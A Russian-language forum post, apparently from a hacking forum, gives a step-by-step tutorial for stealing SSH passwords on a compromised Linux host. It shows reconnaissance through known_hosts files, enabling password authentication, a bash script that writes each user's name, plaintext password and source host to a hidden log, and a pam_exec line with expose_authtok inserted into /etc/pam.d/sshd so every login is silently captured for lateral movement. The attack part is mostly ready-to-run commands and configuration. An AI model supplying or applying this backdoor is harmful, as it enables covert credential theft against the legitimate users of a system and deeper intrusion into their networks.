Взлом паролей: кража учетных данных SSH с помощью PAM

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, мои начинающие кибервоины!

Попадание на Linux-машину после эксплуатации или с только что собранными учётными данными часто кажется победой, но на самом деле это только начало борьбы. Горизонтальное продвижение в Linux-средах, как известно, сложнее, чем в доменах Windows. Даже если вам удастся получить root-доступ на одном хосте, вы можете быстро упереться в стену: вы видите свидетельства подключения пользователей к другим системам, но у вас нет их учётных данных. Без них дальнейшее расширение застопорится. Такие методы, как дамп памяти или сбор данных процессов, могут сработать в некоторых случаях, но, в частности, процессы SSH не так легко раскрывают учётные данные пользователей. На первый взгляд, это кажется тупиком.

Именно здесь в игру вступают манипуляции с PAM. Изменив способ обработки входов в подключаемый модуль аутентификации, можно незаметно перехватывать учётные данные пользователей при каждой аутентификации. Таким образом, вы создаёте систематический способ сбора паролей SSH и их повторного использования для горизонтального перемещения.

pam patch в учетных данных журнала действий

Разведка с известными хостами

Прежде чем приступать к исправлению PAM, полезно собрать некоторую информацию о сети и о том, к каким серверам подключаются легитимные пользователи. SSH-клиенты хранят информацию о ранее посещённых серверах в known_hostsфайле в каталоге каждого пользователя .ssh. Если эти файлы доступны, они предоставляют список пунктов назначения без необходимости сканирования.
Например, проверка /home/dev3/.ssh/known_hostsможет обнаружить такие записи, как git. Эта единственная подсказка указывает на точку опоры. Если скомпрометированная машина находится в среде с ограничениями, этот хост может находиться в другой подсети или за пределами контроля доступа, к которым вы не смогли бы получить доступ иным способом. При наличии правильных учётных данных этот файл становится путеводителем для горизонтального перемещения.

использование файла known_hosts для бокового перемещения

Подготовка хозяина

Перед реализацией механизма перехвата учётных данных важно убедиться, что хост принимает вход по паролю. SSHD можно настроить так, чтобы полностью запретить аутентификацию по паролю, используя только доступ по ключу. Чтобы включить перехват учётных данных, необходимо настроить следующие параметры /etc/ssh/sshd_config:

target# > nano /etc/ssh/sshd_config

PasswordAuthentication yes

аутентификация по паролю с включенным SSH

Как только это изменение будет реализовано, будет заложена основа.

Создание сценария ведения журнала

Следующий шаг — создание небольшого скрипта, который будет регистрировать попытки входа в систему. С правами root создайте новый файл по адресу /usr/local/bin/logc.sh:

target# > nano /usr/local/bin/logc.sh

#!/bin/bash<br><br>echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" &gt;&gt; /var/log/.authc.log
создание патча PAM

Сделайте его исполняемым:

target# &gt; chmod 777 /usr/local/bin/logc.sh

Затем подготовьте скрытый файл журнала, который будет незаметно собирать собранные данные:

target# &gt; touch /var/log/.authc.log

Этот скрипт простой, но мощный. Он фиксирует имя пользователя, пароль в виде открытого текста, источник соединения и добавляет временные метки для каждой записи.

Исправление PAM

После того, как скрипт логирования готов, следующая задача — добавить его в цепочку аутентификации PAM. Настройки PAM немного различаются в зависимости от дистрибутива, но для SSH соответствующий файл — . Для более широкого охвата всей системы можно использовать другие файлы, например, Debian/Ubuntu или CentOS. /etc/pam.d/sshd/etc/pam.d/common-auth/etc/pam.d/password-auth

Чтобы изменить только аутентификацию SSH, откройте и добавьте следующую строку в самом верху: /etc/pam.d/sshd

target# &gt; nano /etc/pam.d/sshd

<code>auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh</code>
исправление PAM для кражи учетных данных SSH

Это гарантирует, что каждая попытка аутентификации, успешная или нет, будет обработана скриптом регистрации, прежде чем будет продолжена обычная обработка PAM. Учётные данные незаметно изымаются, в то время как легитимные пользователи остаются в неведении.

Применение и тестирование патча

Чтобы изменения вступили в силу, перезапустите службу SSH:

target# &gt; service sshd restart

После перезапуска протестируйте исправление, войдя в систему с действительными учетными данными.

тестирование патча PAM

После этого проверьте файл журнала:

target# &gt; cat /var/log/.authc.log

патч PAM действителен и работает
больше учетных данных было получено с помощью патча PAM

Каждая запись должна содержать информацию о захваченном пользователе, введённом им пароле, удалённом хосте, с которого он подключился, и дате попытки. Со временем в этом журнале будут накапливаться ценные учётные данные из сеансов легитимных пользователей, что даст вам ресурс для горизонтального продвижения.

Краткое содержание

Существует отличный метод сбора учётных данных SSH в Linux путём модификации подключаемого модуля аутентификации (PAM). После выявления потенциальных целей бокового перемещения с помощью SSH known_hosts, SSH перенастраивается для поддержки аутентификации по паролю. Создаётся специальный скрипт логирования для сбора имён пользователей, паролей и удалённых источников, который затем интегрируется в PAM путём редактирования /etc/pam.d/sshd. После установки патча каждая попытка входа в систему автоматически записывается в скрытый файл журнала. Перезапуск SSH активирует изменения, и последующие подключения будут обеспечивать постоянный поток пригодных к использованию учётных данных.
 
Назад
Сверху Снизу